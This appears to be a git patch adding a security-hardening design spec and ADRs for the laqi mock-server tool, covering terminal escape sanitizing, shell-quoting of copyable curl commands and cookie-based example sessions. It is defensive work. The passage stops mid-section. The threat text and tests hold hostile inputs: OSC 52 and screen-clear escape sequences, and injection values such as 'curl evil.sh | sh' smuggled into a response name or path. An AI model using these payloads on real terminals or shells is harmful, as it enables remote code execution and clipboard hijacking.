From ffc3f9d179da937c733b687bf2495b8e42e5e3a3 Mon Sep 17 00:00:00 2001 From: Cristian Sotomayor Date: Mon, 12 Oct 2026 11:55:43 -0500 Subject: [PATCH] docs(ui-surfaces-hardening): add the NIW2-316 design spec and its ADRs Spec and ADR drafts for NIW2-316, from the 2026-10-12 security, quality and scalability audit (umbrella NIW2-302). Status: proposed, not implemented. Refs: NIW2-316 Co-Authored-By: Claude Opus 5.5 --- .../0025-terminal-sanitizer-boundary.md | 57 +++ .../0026-example-app-session-cookie.md | 50 ++ .../docs/design/ui-surfaces-hardening.md | 435 ++++++++++++++++++ 3 files changed, 542 insertions(+) create mode 100644 apps/documentation/src/content/docs/decisions/0025-terminal-sanitizer-boundary.md create mode 100644 apps/documentation/src/content/docs/decisions/0026-example-app-session-cookie.md create mode 100644 apps/documentation/src/content/docs/design/ui-surfaces-hardening.md diff --git a/apps/documentation/src/content/docs/decisions/0025-terminal-sanitizer-boundary.md b/apps/documentation/src/content/docs/decisions/0025-terminal-sanitizer-boundary.md new file mode 100644 index 0000000..d6b1b61 --- /dev/null +++ b/apps/documentation/src/content/docs/decisions/0025-terminal-sanitizer-boundary.md @@ -0,0 +1,57 @@ +--- +title: ADR-0025 — The terminal renderer is the trust boundary for what reaches a terminal +--- + +# ADR-0025 — The terminal renderer is the trust boundary for what reaches a terminal + +**Status:** Proposed +**Date:** 2026-10-12 +**Ticket:** NIW2-316 — [UI surfaces hardening spec](/design/ui-surfaces-hardening/) + +## Context + +laqi prints text it did not write: file names, the lines of a mock file that failed to parse, V8's parse message (which quotes the source), config values, the tunnel URL, and — once the terminal request stream (PR #56) lands — request paths and the `X-Laqi-Response` header value that chose a response. A terminal executes control characters: ESC-led sequences clear the screen, retitle the window or write the clipboard (OSC 52), and a single C1 byte (U+009B) is a CSI introducer on terminals that honour 8-bit controls. A cloned repository, a shared "mock pack", or anyone holding a `--share` URL can therefore drive the developer's terminal through laqi. + +`@laqi/tui` was written as a pure rendering layer ([terminal-output](/design/terminal-output/)): values in, string out, `paint()` adds colour, nothing removes anything. The question was where the removal belongs. + +## Decision + +**`@laqi/tui` sanitizes every string that enters one of its renderers, and renderers are the only code that paints.** + +1. `sanitize(text)` replaces C0 controls (except TAB and LF), DEL, C1 controls, the Unicode line separators and the bidirectional override and isolate controls with a **visible stand-in** (`␛` for ESC, `␇` for BEL, `␍` for CR, `␡` for DEL, U+FFFD otherwise). It never drops a character and never truncates. +2. Every exported renderer (`renderFailure`, `row`, `startScreen`, `goodbyeScreen`, `requestRow`) applies `sanitize` to every string field of its input before painting or measuring. Callers do not pre-sanitize. +3. Callers pass raw text plus a colour token (a `Segment`); renderers call `paint()`. A string that arrives already containing ESC is treated like any other control character, so a caller that still pre-paints sees `␛[38;2;…m` in the output: the mistake is visible, not silently honoured. + +## Alternatives rejected + +**Sanitize at the sources** (`LoadError` in `@laqi/core`, the CLI's call sites, the server's event fields). Strongest argument: every surface would receive clean data. Rejected: the panel escapes for HTML by construction and MCP must report file contents faithfully, so only the terminal needs this; and a per-source rule is re-implemented per source and missed by the next one — PR #56's header value is exactly the case that a source-side rule written for file excerpts would have missed. + +**Strip silently.** Strongest argument: output never shows an odd glyph. Rejected: a cleaned excerpt no longer shows what is wrong with the file, and silent removal hides tampering. One glyph is the price of honesty. + +**Let `paint()`'s own SGR sequences pass through** (sanitize everything except `\x1b[…m`). Strongest argument: `row` keeps accepting pre-painted strings, no caller changes. Rejected: an attacker's `\x1b[38;2;0;0;0m` (black on black) or `\x1b[8m` (conceal) is byte-for-byte indistinguishable from ours and hides the line that reports the failure. Making renderers the only painters removes the ambiguity instead of guessing at it. + +**A terminal-side defence** (document that users should disable OSC 52). Rejected as the only measure: laqi should not be the carrier, whatever the terminal does. + +## Consequences + +**In favour:** + +- One rule, one place, forty lines, covered by one test fixture of hostile strings reused by every renderer test and by an end-to-end CLI test. +- New renderers (the request stream, a future QR line, the user-agent family of stage 3) are safe by construction: they inherit the rule by living in `@laqi/tui`. +- Piped output (level `none`) becomes strictly cleaner: no byte in C0/C1 except TAB and LF. + +**Against:** + +- `row()` changes signature; the CLI's few call sites that pre-painted migrate in the same change, and PR #56 rebases. +- Stand-ins assume a Unicode-capable terminal font, as the bolt and the rule already do. Caret notation (`^[`) is the fallback if that assumption is ever wrong. +- `paint()` stays exported for literals, so the rule is enforced by convention plus a test that lists the CLI's raw `console.*` calls, not by the type system. + +## Non-goals + +- Sanitizing for the panel or MCP: different escaping, different surface, different owner (NIW2-314 for MCP output delimiting). +- Deciding what the server should accept in `X-Laqi-Response` (NIW2-309/NIW2-314); the renderer does not rely on it. +- Width, wrapping and truncation policy, which stay in layout. + +## Reopen condition + +A renderer that must emit a non-SGR escape on purpose (an OSC 8 hyperlink to the panel URL, a cursor move for an in-place request stream). The answer then is a second, named, allow-listed emitter inside `@laqi/tui` for that one sequence, not a passthrough of caller-supplied escapes. diff --git a/apps/documentation/src/content/docs/decisions/0026-example-app-session-cookie.md b/apps/documentation/src/content/docs/decisions/0026-example-app-session-cookie.md new file mode 100644 index 0000000..fe8a6b3 --- /dev/null +++ b/apps/documentation/src/content/docs/decisions/0026-example-app-session-cookie.md @@ -0,0 +1,50 @@ +--- +title: ADR-0026 — The example app's session is a cookie the mock sets, not a token the client stores +--- + +# ADR-0026 — The example app's session is a cookie the mock sets, not a token the client stores + +**Status:** Proposed +**Date:** 2026-10-12 +**Ticket:** NIW2-316 — [UI surfaces hardening spec](/design/ui-surfaces-hardening/) + +## Context + +`examples/todo-app` is the only auth example laqi ships ([examples](/design/examples/)). Its `src/lib/auth.ts` writes the whole session, bearer token included, into a cookie from JavaScript, with no `Secure` and (necessarily) no `HttpOnly`, and reads it back with a cast. The header says it is a frontend mechanism and not security, and in the next sentence says the frontend will not change when the real backend arrives — which is the sentence that makes it copyable. OWASP's Session Management cheat sheet calls `HttpOnly` and `Secure` mandatory for a session identifier and says not to keep tokens in JavaScript-reachable storage. + +laqi can set response headers on a mock (`response.headers`), so the mock can set the cookie the way a real server would. + +## Decision + +**`POST /auth/login` and `POST /auth/signup` in the example set the session with `Set-Cookie: …; HttpOnly; SameSite=Lax; Path=/` (and `__Host-` + `Secure` in the README's production form); their bodies return only the user. The client keeps the non-secret user, validates whatever it parses, and sends no `Authorization` header; the browser carries the cookie. A `POST /auth/logout` mock clears it.** + +## Alternatives rejected + +**Keep the bearer token in the client and warn loudly.** Strongest argument: many real APIs use `Authorization: Bearer`, and the example would keep teaching that shape with no dependency on laqi's header feature or on NIW2-315's header validation. Rejected as the primary choice because a comment does not stop copying, and a browser-held bearer token in a JavaScript-readable cookie is the pattern OWASP tells people not to build. It stays as the documented fallback if `Set-Cookie` through the mock proves impractical. + +**Token in memory only.** Strongest argument: nothing persists. Rejected: a reload signs the user out, which in a real app forces a refresh-token flow the example cannot show without a backend that reasons. + +**Token in `sessionStorage`.** Rejected for the same reason as the JavaScript cookie: readable by any script on the origin. + +## Consequences + +**In favour:** + +- The copyable file is the safe one: a team that copies `auth.ts` gets a client that never sees a credential. +- The example demonstrates a laqi capability (response headers) that no other example uses. +- The flip-table rows (`GET /profile → unauthorized` signs out) keep working unchanged. + +**Against:** + +- The example no longer shows the `Authorization: Bearer` header. The README states the cross-origin variant (`credentials: 'include'`, specific CORS origin, same cookie attributes) in prose. +- Depends on `Set-Cookie` remaining a permitted mock response header (NIW2-315) and on the Vite proxy forwarding it unchanged (expected; verified in the implementing step). +- On `http://localhost` the committed cookie cannot carry `Secure`; the README shows the production form. + +## Non-goals + +- Making laqi verify a token: a mock answers the same regardless. +- CSRF tokens or a backend-for-frontend; `SameSite=Lax` is the example's whole CSRF story and the README says so. + +## Reopen condition + +A second auth example (for instance a mobile or cross-origin client that cannot use cookies) that needs the bearer shape. The answer then is a second example, not a change to this one. diff --git a/apps/documentation/src/content/docs/design/ui-surfaces-hardening.md b/apps/documentation/src/content/docs/design/ui-surfaces-hardening.md new file mode 100644 index 0000000..6c56528 --- /dev/null +++ b/apps/documentation/src/content/docs/design/ui-surfaces-hardening.md @@ -0,0 +1,435 @@ +--- +title: UI surfaces hardening — design spec +--- + +# UI surfaces hardening — design spec + +**Status:** proposed, not implemented. +**Date:** 2026-10-12 +**Ticket:** NIW2-316 — [Sanitize terminal output and harden editor, example app and site](https://linear.app/niway/issue/NIW2-316) (umbrella NIW2-302) + +Normative statements use **must** / **must not**. Code blocks marked _illustrative_ show intent, not final declarations. Every `file:line` cites the read-only export of `origin/main` taken on 2026-10-12; where the audit (written against `feat/hero-demo`) and main differ, the difference is stated. Claims not checked in code or by running something are marked **unverified**. + +## In one minute + +**Summary.** Four surfaces print or embed text that laqi does not control, and three of them do it without a boundary. The terminal renderer (`@laqi/tui`) prints file names, parse messages and file excerpts from whatever repository the developer cloned, so a mock file can carry an escape sequence that clears the screen, spoofs the window title or writes the clipboard (OSC 52); open PR #56 adds a per-request row that would print a value taken from an HTTP header, reachable through `--share`. The panel builds a copy-paste `curl` command from unquoted mock data, submits the create form from any focused button on Enter, re-renders the whole app per request event, re-parses every body per keystroke and never resyncs after the SSE stream drops. The example app stores a bearer token in a JavaScript-readable cookie and parses it with a cast. laqi.dev sends no security headers and still ships seven dead components. This spec defines one sanitizer contract owned by `@laqi/tui` and applied inside every renderer, fixes the four panel problems in `packages/editor` only, moves the example's session into a cookie the mock sets with `HttpOnly`, and adds a `_headers` file that Cloudflare Workers static assets apply at the edge. + +**Decisions.** + +| # | Decision | Why | ADR | +| --- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | +| 1 | One sanitizer, owned by `@laqi/tui`, applied **inside every exported renderer** (`renderFailure`, `row`, `startScreen`, `goodbyeScreen`, and PR #56's `requestRow`). Callers never pre-sanitize and never need to. | Every output path converges there; a boundary at the sources (core, cli, server) would have to be repeated per source and would miss the next one. | creates ADR-0025 _terminal sanitizer boundary_ | +| 2 | Control characters become **visible stand-ins** (`␛` U+241B for ESC, `␇` for BEL, `␡` for DEL, U+FFFD otherwise); never silently dropped. | The reader sees that the file carried something odd; width stays measurable; no line is hidden. | same ADR | +| 3 | Renderers are the only painters: `row()` takes raw text plus a colour token (a `Segment`), not a pre-painted string. `paint()` stays exported for literals only. | Removes the ambiguity "is this ESC ours or theirs?" that forces an SGR passthrough, which an attacker can abuse to hide text. | same ADR | +| 4 | Every value interpolated into a copyable shell command in the panel is POSIX single-quoted by one helper (`packages/editor/src/shell.ts`). | Response names, paths and addresses come from the cloned repo and from the server; a `
` presented as "run this" is a command.                             | none                                           |
+| 5   | Enter submits the create row only from a text input; a submit in flight makes further submits no-ops.                                                                                                              | Buttons already act on Enter; the row-level handler doubled it (Cancel created, Create created twice).                                                         | none                                           |
+| 6   | Request events are coalesced into one `setState` per animation frame in a log store; `EndpointRow` is memoized; filter and override counts are memoized.                                                           | A polling client re-rendered header, list and log per request.                                                                                                 | none                                           |
+| 7   | The panel refetches on every SSE reopen after the first and shows a "disconnected" band on `error`; no server-side event ids.                                                                                      | Events are not replayable by design (`packages/core/src/events.ts:27-30`), the stream is owned by NIW2-309.                                                    | none                                           |
+| 8   | The example app's session is set by the **mock** via `Set-Cookie: …; HttpOnly; SameSite=Lax; Path=/`; the client keeps only the non-secret user.                                                                   | It is what OWASP says a session must look like, and it is the code people will copy. It also shows a laqi feature (response headers).                          | creates ADR-0026 _example app session cookie_  |
+| 9   | laqi.dev security headers ship as `apps/site/public/_headers`, applied by Cloudflare Workers static assets; a strict `script-src` is phase 2.                                                                      | Native to the deploy target, no Worker code, no build-time CSP machinery. `frame-ancestors` cannot be set from a `` tag, so a header is required anyway. | none                                           |
+| 10  | The seven dead site components and `lib/version.ts` are deleted in this ticket; `CodeWindow` takes tokens, not HTML.                                                                                               | The header's condition ("still unreferenced") is met today; the scanner in `scripts/site/documented-commands.test.ts` reads them.                              | none                                           |
+
+**Open questions for the owner.**
+
+1. **Stand-in glyph.** `␛` (Control Pictures block) is recommended because laqi already prints `⚡`, `─`, `✗`. The alternative is caret notation (`^[`), which survives terminals without Unicode fonts. Pick one; the contract is the same.
+2. **Delete the dead site components now or on 2026-11-02?** Their headers say "on or after 2026-11-02 if still unreferenced". Recommended: now, in this ticket; the date was a courtesy and nothing references them. If you prefer to honour the date, step D2 below moves to a follow-up.
+3. **Example app: cookie set by the mock (decision 8) or bearer-in-JS with warnings?** Decision 8 changes what the example teaches (no `Authorization: Bearer` header; the browser carries the cookie). The fallback — keep the bearer, validate the cookie, add `Secure` on https, add a loud comment — is in Alternatives. Decision 8 depends on NIW2-315 keeping `Set-Cookie` allowed in mock response headers.
+4. **CSP phase 2.** A `script-src` without `'unsafe-inline'` needs hashes for Starlight's inline theme script (**unverified** that Starlight 0.37 emits one; Astro's own `security.csp` handles only the scripts Astro bundles). Ship phase 1 (headers that need no hashes) now; phase 2 when someone measures the hash situation.
+5. **PR #56 ordering.** The sanitizer PR (step A) should land first and PR #56 rebase onto it, because `requestRow` is a renderer and must follow decision 1. If PR #56 merges first, step A must patch `stream.ts` as well.
+
+**Out of scope.**
+
+- Host/Origin/CSRF checks, panel response headers (CSP for `/__laqi`), SSE backpressure, request event timing: NIW2-309.
+- Whether the server should reject an unknown `X-Laqi-Response` name before it reaches the event: NIW2-309/NIW2-314.
+- Validation of response names, endpoint paths, `delay` ranges and response headers in the schema: NIW2-315.
+- The excerpt builder's own limits (`buildExcerpt`) and symlink handling: NIW2-313.
+- Dead `plans/` in `apps/documentation`, `verify` coverage, SHA-pinned actions and the deploy workflow: NIW2-312.
+- The site's content (copy, chapters) and the docs app.
+- A security sandbox for terminals: the terminal emulator decides what OSC 52 does; laqi only stops being the carrier.
+
+## Vocabulary
+
+| Term           | Meaning here                                                                                                                                                                 |
+| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Untrusted text | Any string whose bytes laqi did not write as a literal: file names, file contents, parse messages (V8 embeds the source), config values, tunnel output, HTTP request fields. |
+| Renderer       | An exported function of `@laqi/tui` that returns text destined for a terminal.                                                                                               |
+| Segment        | `{ text, token }`: raw text plus the colour token the renderer should paint it with.                                                                                         |
+| Stand-in       | The visible character a control character is replaced with.                                                                                                                  |
+| C0 / C1        | Control characters U+0000–U+001F and U+0080–U+009F. ESC is C0; U+009B is the single-byte CSI introducer in C1.                                                               |
+
+## Part 1 — Terminal output
+
+### 1.1 Current behaviour on main
+
+`@laqi/tui` has no function that removes anything. `paint()` (`packages/tui/src/palette.ts:57-63`) only adds SGR sequences; `displayWidth` (`packages/tui/src/layout.ts:26,53-79`) strips exactly those SGR sequences and counts every other code point as one or two columns, so a foreign escape both reaches the terminal and miscounts the rule.
+
+Interpolated verbatim:
+
+- `renderFailure` (`packages/tui/src/report.ts:46-73`): `headline` (:49), `evidence.file` via `location()` (:35-39, :52), every line of `evidence.excerpt` (:54), `cause` (:59), `remedy` commands (:65), `outcome` (:70).
+- `row` (`packages/tui/src/layout.ts:93-98`): label and value.
+- `startScreen` (`packages/tui/src/screens.ts:55-61`): `servingUrl`, `panelUrl`, `watching`; `goodbyeScreen` (:86-94): every `filesWritten[].file`.
+
+Where the untrusted text comes from (CLI call sites on main):
+
+- `apps/cli/src/index.ts:465-474` and `:501-514`: `headline` is `` `${error.file} failed to load` ``, `cause` is `error.message`, `evidence` carries `error.file` and `error.excerpt`. `error.message` is V8's parse message, which embeds a snippet of the source. Verified on Node v24.21.0: `JSON.parse('{"a":\x1b[2J}')` throws `Unexpected token '\u001b', "{"a":\u001b[2J}" is not valid JSON`. `error.excerpt` is raw source lines (`packages/core/src/json-position.ts:27-42`, `packages/core/src/loader.ts:110,126`).
+- `apps/cli/src/index.ts:52-57` (config file is not JSON, `cause: error.message`) and `:65-72` (Zod issue paths and messages from `laqi.config.json`).
+- `apps/cli/src/index.ts:482-497`: `watching` is `./${config.file}` or `./${config.dir}/`, both from `laqi.config.json` or flags.
+- `apps/cli/src/index.ts:358-421` (`reportShare`): `url` from cloudflared, `share.origins` from config, each passed to `row()` already painted.
+- `apps/cli/src/index.ts:519-524`: `main().catch` prints any error's message.
+- `apps/cli/src/goodbye.ts:28`: `filesWritten` names come from the watcher.
+- Raw `console.*` outside the renderer: `apps/cli/src/index.ts:164` (`laqi mcp — serving ${root}`), `apps/cli/src/migrate.ts:159,189` (warnings built from v1 file keys at `:34,45,68,86,92`), `apps/cli/src/init/run.ts:248` (**unverified** what it interpolates; it must go through the same rule).
+
+Main did not change any of this relative to the audit; the audit's `report.ts:49,54,59`, `layout.ts:93-97`, `screens.ts:55-61,87-93` and `index.ts:454-470,500-506` map to the lines above (the index.ts offsets moved by about ten lines).
+
+**PR #56** ([csdev19/laqi#56](https://github.com/csdev19/laqi/pull/56), branch `feat/terminal-request-stream`, open) adds `packages/tui/src/stream.ts` with `requestRow(row, level, columns)` that prints `method`, `path`, `resolvedName`, `resolvedLayer` with `padEnd`/`clamp` and no sanitizing, and a subscriber in `apps/cli/src/index.ts` that feeds it straight from the event bus. The values:
+
+- `path` is `new URL(c.req.url).pathname` (`packages/server/src/mock-app.ts:48,112`). Verified on Node v24.21.0: a raw ESC in the request target is rejected by the HTTP parser (`HPE_INVALID_URL`), and a percent-encoded `%1b` stays encoded in `pathname` (`/a%1b[2Jb`). So on Node the path carries no raw control bytes. **Unverified** for Bun, which runs the CLI in development only.
+- `resolvedName` on the header layer is the raw `X-Laqi-Response` value (`packages/core/src/resolve.ts:38`). Verified on Node v24.21.0: ESC and DEL in a header value are rejected (`HPE_INVALID_HEADER_TOKEN`), but the byte `0x9B` is accepted and decoded as U+009B, the C1 CSI introducer. A terminal that honours 8-bit C1 controls (**unverified** which current terminals do by default; xterm can) would interpret it. With `--share`, anyone with the URL (or the token) can send that header. The 500 body at `mock-app.ts:61` echoes the same name back to the client, which is NIW2-309's concern, not this one.
+- `resolvedName` on every other layer is a response name from a mock file: untrusted by the same rule as the excerpts.
+
+PR #56's `clamp` also slices by UTF-16 code unit (`text.slice(0, width - 1)`), which can split a surrogate pair after `displayWidth` judged the text too wide.
+
+### 1.2 Threat
+
+A developer clones a repository (or installs a shared "mock pack") and runs `npx laqi`. One mock file is not valid JSON and contains, in the failing line, `ESC ] 52 ; c ;  BEL`. laqi prints the file name, V8's message (which quotes the line) and the three-line excerpt. The terminal, if it allows OSC 52 writes, now holds attacker text in the clipboard; the developer's next paste into a shell runs it. The same bytes can instead clear the screen and reprint a clean start screen so the failure is never seen, or set the window title. The Black Hat 2023 "weaponizing plain-text ANSI" appendix and the pickem and Warp advisories in References document each of these.
+
+With PR #56 and `--share`, the same effect no longer needs a cloned repository: a request through the tunnel can place C1 bytes into `resolvedName`, and the next stage of the stream (user-agent family, "via public") would add further raw header values.
+
+### 1.3 Designed behaviour
+
+**The contract.** `@laqi/tui` is the trust boundary for the terminal. Text that enters a renderer is untrusted by definition; the renderer sanitizes it, then paints it, then measures it. Nothing outside `@laqi/tui` needs to know which strings are dangerous.
+
+Normative rules:
+
+1. `@laqi/tui` **must** export `sanitize(text: string): string` from `packages/tui/src/sanitize.ts`, re-exported from `packages/tui/src/index.ts`.
+2. `sanitize` **must** replace every code point in these sets: C0 except U+0009 (TAB) and U+000A (LF); U+007F; C1 (U+0080–U+009F); U+2028 and U+2029; the bidirectional override and isolate controls U+202A–U+202E and U+2066–U+2069. U+000D (CR) is in the replaced set: a lone CR lets a line overwrite the previous one.
+3. The replacement **must** be visible: U+0000–U+001F map to U+2400 + code (`␛` for ESC, `␇` for BEL, `␍` for CR), U+007F to `␡` (U+2421), and everything else to U+FFFD. `sanitize` **must** be idempotent and **must not** drop characters, so a reader can still see the shape of what was there.
+4. `sanitize` **must not** truncate, wrap or measure. Width and length belong to layout.
+5. Every exported renderer (`renderFailure`, `row`, `rule` if it ever takes caller text, `startScreen`, `goodbyeScreen`, `requestRow`, `keysLine`) **must** apply `sanitize` to every string field of its input before painting or measuring it. The glyph table, labels and the farewell are literals and are exempt.
+6. Renderers **must** paint; callers **must not**. `row` **must** accept `string | Segment | readonly Segment[]` for its value, where a bare string paints as `'value'`. The current callers that pass painted strings (`packages/tui/src/screens.ts:55-61,78-94`, `apps/cli/src/index.ts:363-419`) migrate to segments in the same change. `paint()` stays exported, documented as "for text laqi wrote itself"; a renderer that receives a string containing `\x1b` treats it like any other control character, so a caller that still pre-paints sees `␛[38;2;…m` in its output, which is the failure made visible rather than hidden.
+7. `renderFailure` **must** clamp each excerpt line to the usable width (`usableWidth(columns) - INDENT.length`) with an ellipsis, by code point, never by UTF-16 unit. `renderFailure` gains an optional `columns?: number` parameter, like the screens. The clamp helper lives in `packages/tui/src/layout.ts` and PR #56's `clamp` **must** become a call to it.
+8. The raw `console.*` sites that print untrusted text without a renderer (`apps/cli/src/index.ts:164`, `apps/cli/src/migrate.ts:159,189`, `apps/cli/src/init/run.ts:248` if it interpolates data) **must** either route through a renderer or wrap the text in `sanitize`. A test over `apps/cli/src/**/*.ts` listing the allowed raw `console.*` calls is cheap and keeps the next one honest.
+9. `displayWidth` keeps stripping `paint()`'s SGR sequences (it measures what renderers produce), and gains nothing else.
+10. `design/terminal-output.md` **must** gain a "Trust boundary" section stating rules 1, 5 and 6 and listing which fields are untrusted; `packages/server` keeps its zero-`node:*` rule and does not import `@laqi/tui`.
+
+What is deliberately **not** done: `sanitizePainted` (strip everything except SGR). Letting any SGR through lets an attacker paint a line black-on-black or use SGR 8 (conceal) to hide the "failed to load" line; rule 6 makes it unnecessary.
+
+**PR #56 integration.** `requestRow` sanitizes `method`, `path`, `resolvedName`, `resolvedLayer` and `time` before padding; `clamp` moves to layout and slices by code point; `keysLine` has no caller text. The subscriber in `apps/cli/src/index.ts` passes event fields through unchanged, which is the point of rule 1. Decision 5 of the open questions decides which PR carries the diff.
+
+### 1.4 Interfaces (illustrative)
+
+```ts
+// packages/tui/src/sanitize.ts — illustrative
+const UNSAFE =
+  /[\u0000-\u0008\u000b-\u001f\u007f-\u009f

‪-‮⁦-⁩]/gu
+
+export function sanitize(text: string): string {
+  return text.replace(UNSAFE, (char) => {
+    const code = char.codePointAt(0)!
+    if (code <= 0x1f) return String.fromCodePoint(0x2400 + code)
+    if (code === 0x7f) return '␡'
+    return '�'
+  })
+}
+
+// packages/tui/src/layout.ts — illustrative additions
+export type Segment = { text: string; token: Token }
+
+export function row(label: string, value: string | Segment | readonly Segment[], level: Level): string
+// label: sanitize, paint 'label', pad to LABEL_WIDTH
+// value: normalise to Segment[], sanitize each text, paint each with its token, join
+
+export function clamp(text: string, width: number): string
+// counts with displayWidth, cuts with [...text] (code points), appends '…'
+
+// packages/tui/src/report.ts — illustrative
+export function renderFailure(failure: Failure, level: Level, columns?: number): string
+```
+
+### 1.5 Migration and compatibility
+
+- No change to mock files, config, the HTTP surface or the npm package's dependency list (`apps/cli/src/package.test.ts` keeps passing; the sanitizer is forty lines in a private workspace package bundled by tsdown).
+- Terminal output changes only when input contained a control character: the reader sees `␛` where before the terminal executed something. Output piped to CI logs and agents (level `none`) becomes strictly cleaner.
+- `row()`'s signature changes for callers inside the monorepo only (`apps/cli`). `@laqi/tui` is `private: true`.
+- PR #56 needs a rebase (five lines in `stream.ts`).
+
+### 1.6 Tests
+
+`packages/tui/src/sanitize.test.ts`
+
+- `replaces ESC and BEL with visible stand-ins`: input `'\x1b]52;c;ZXZpbA==\x07'` → `'␛]52;c;ZXZpbA==␇'`.
+- `neutralises C1, DEL, lone CR and bidi overrides`: `'a\x9b2Jb\x7fc\rd‮e'` → `'a�2Jb␡c␍d�e'`.
+- `keeps TAB, LF and ordinary Unicode`: `'a\tb\nc ⚡ 日本'` unchanged.
+- `is idempotent`: `sanitize(sanitize(x)) === sanitize(x)` for the three inputs above.
+
+`packages/tui/src/report.test.ts` (new cases)
+
+- `leaves no control character in any caller-supplied field`: a `Failure` whose headline, cause, file, excerpt, remedy and outcome each contain `'\x1b]52;c;ZXZpbA==\x07'` and `'\x1b[2J\x1b[H'`; at level `'none'` the output matches `/^[^\x00-\x08\x0b-\x1f\x7f-\x9f]*$/u` and contains `'␛]52;c;ZXZpbA==␇'`.
+- `keeps the newlines of a multi-line excerpt`: excerpt `'one\ntwo'` → output contains `'  one\n  two'`.
+- `clamps an excerpt line to the width by code point`: a 300-column line of `'日'` with `columns: 80` → every output line has `displayWidth <= 80` and ends with `'…'`, and `[...line].length` is consistent (no lone surrogate).
+- `still colours only what it painted`: at level `'truecolor'`, with hostile fields, every `\x1b` in the output is immediately followed by `[38;2;`, `[38;5;` or `[0m`.
+
+`packages/tui/src/layout.test.ts` (new cases)
+
+- `row paints a bare string as a value and sanitizes it`: `row('serving', 'http://x\x1b[2J', 'none')` → `'serving     http://x␛[2J'`.
+- `row paints each segment with its token`: `row('watching', [{ text: './laqi/', token: 'value' }, { text: ' 7 endpoints', token: 'dim' }], 'truecolor')` → contains both colour prefixes and no third `\x1b`.
+- `row treats a pre-painted value as hostile`: `row('x', paint('y', 'accent', 'truecolor'), 'none')` → contains `'␛[38;2;'` (the regression a forgetful caller would see).
+
+`packages/tui/src/screens.test.ts` (new cases)
+
+- `start and goodbye screens neutralise file names and URLs`: `StartInfo` with `watching: './\x1b[2J/'`, `GoodbyeInfo` with `filesWritten: [{ file: '\x1b]0;owned\x07a.json', times: 1 }]`; neither output contains `\x1b` or `\x07` at level `'none'`.
+
+`packages/tui/src/stream.test.ts` (in PR #56 or step A, whichever lands second)
+
+- `requestRow neutralises a C1 byte in the resolved name`: `resolvedName: 'ok\x9b2J'` → output contains `'ok�2J'`, no U+009B.
+- `requestRow clamps a long path by code point`: path of 200 `'日'`, `columns: 80` → no lone surrogate, ends with `'…'`.
+
+`apps/cli/src/index.test.ts` (end-to-end, using the existing `runUntil` spawn helper at `:63`)
+
+- `a mock file carrying an escape sequence cannot reach the terminal`: write `laqi/evil.json` with content `'{"GET /a": \x1b]52;c;ZXZpbA==\x07}'` and a valid `laqi/ok.json`; run `laqi start --port 0`; stdout and stderr combined match `/^[^\x1b\x07]*$/` (the child is not a TTY, so level is `none` and no `\x1b` is legitimate) and contain `'evil.json failed to load'` and `'␛]52'`.
+- `a config file carrying an escape sequence cannot reach the terminal`: `laqi.config.json` = `'{"dir": "\x1b[2J"'` (invalid JSON); same assertion on stderr.
+- `raw console calls in apps/cli are the listed ones`: reads `apps/cli/src/**/*.ts` (not tests), collects `console.(log|error|warn)(` calls whose first argument is not a template literal of literals, a renderer call, `USAGE`/`INIT_USAGE`, or wrapped in `sanitize(`; expects the set to equal an explicit allow-list. (A grep-shaped test; cheap and it names the rule.)
+
+## Part 2 — Panel (`packages/editor`)
+
+ADR-0011 is respected throughout: everything below is React 19 inside the existing Vite SPA; no router, no framework, no new runtime dependency (`shell.ts` is ten lines).
+
+### 2.1 Copyable curl is not shell-quoted
+
+**Current.** `curlFor` (`packages/editor/src/components/EndpointDetail.tsx:740-743`):
+
+```ts
+return `curl ${method}-H 'X-Laqi-Response: ${response}' http://${address}${endpoint.path}`
+```
+
+rendered in a `
` at `:610` as the way to test a response. `response` is a response name and `endpoint.path` a path, both from the mock files; `address` is `Status.address` from `/api/status` (`apps/cli/src/serve.ts:171`, from config). `ShareBand` (`packages/editor/src/components/ShareBand.tsx:13`) builds `curl -H 'Authorization: Bearer ${token}' ${url}/` and copies it to the clipboard at `:61`; `token` is server-generated hex and `url` comes from cloudflared, so that one is lower risk today but has the same shape. Unchanged since the audit.
+
+**Threat.** A cloned repository's mock has a response named `x'; curl evil.sh | sh; '` or a path `/a;$(curl evil.sh|sh)`. The panel shows a ready command; the developer copies it into a terminal. The quote closes, the payload runs. Response-name grammar is NIW2-315's call; the panel must not rely on it.
+
+**Designed behaviour.**
+
+- `packages/editor/src/shell.ts` **must** export `shellQuote(value: string): string` that wraps the value in single quotes and rewrites each embedded `'` as `'\''`. Inside POSIX single quotes nothing else is special.
+- Both curl builders **must** quote every interpolated value: the method (`-X 'PUT'` is harmless and uniform), the header (`-H 'X-Laqi-Response: '` as one quoted argument), the URL (`'http://
'`), and the share URL. +- `curlFor` **must** be exported so it can be tested as a pure function. There **must** be one curl builder, in `shell.ts` or beside it, used by both components (the audit's Q7 duplication). +- The four `navigator.clipboard?.writeText` calls (`ShareBand.tsx:54,61`, `FreshProject.tsx`, `TypesPanel.tsx`) **must** go through one `copy(text)` helper that catches the rejection (non-secure contexts such as `--host` on a LAN name have no clipboard) so a blocked clipboard is not an unhandled promise rejection. + +**Tests.** `packages/editor/src/shell.test.ts`: `wraps plain values` (`'/todos'` → `"'/todos'"`), `closes, escapes and reopens around an embedded quote` (`"x'; curl evil.sh | sh; '"` → `"'x'\\''; curl evil.sh | sh; '\\'''"`), `leaves expansions inert` (`'/a;$(id)`id`'` → quoted unchanged). `EndpointDetail.test.tsx`: `curlFor quotes hostile names and paths` with `{ method: 'GET', path: '/a;$(id)' }`, name `"x'; curl evil.sh | sh; '"`, address `'localhost:8000'` → exactly `curl -H 'X-Laqi-Response: x'\''; curl evil.sh | sh; '\''' 'http://localhost:8000/a;$(id)'`. `ShareBand.test.tsx`: the copied curl is `curl -H 'Authorization: Bearer ' '/'`. + +**Dependency.** NIW2-309 intends to stop returning the share token from `/api/status`. If it does, `ShareBand`'s curl drops the `-H` or the CLI becomes the only place that prints it; the quoting rule is unaffected. The two tickets touch different files (`packages/server` vs `packages/editor`), but `Share.token` in `packages/editor/src/types.ts:39-45` is the shared contract to agree on. + +### 2.2 Enter on a focused button submits the create form + +**Current.** `CreateEndpointRow.tsx:174-178`: + +```tsx +onKeyDown={(event) => { + const inTextarea = event.target instanceof HTMLTextAreaElement + if (event.key === 'Enter' && !inTextarea) submit() + if (event.key === 'Escape') props.onCancel() +}} +``` + +The wrapper 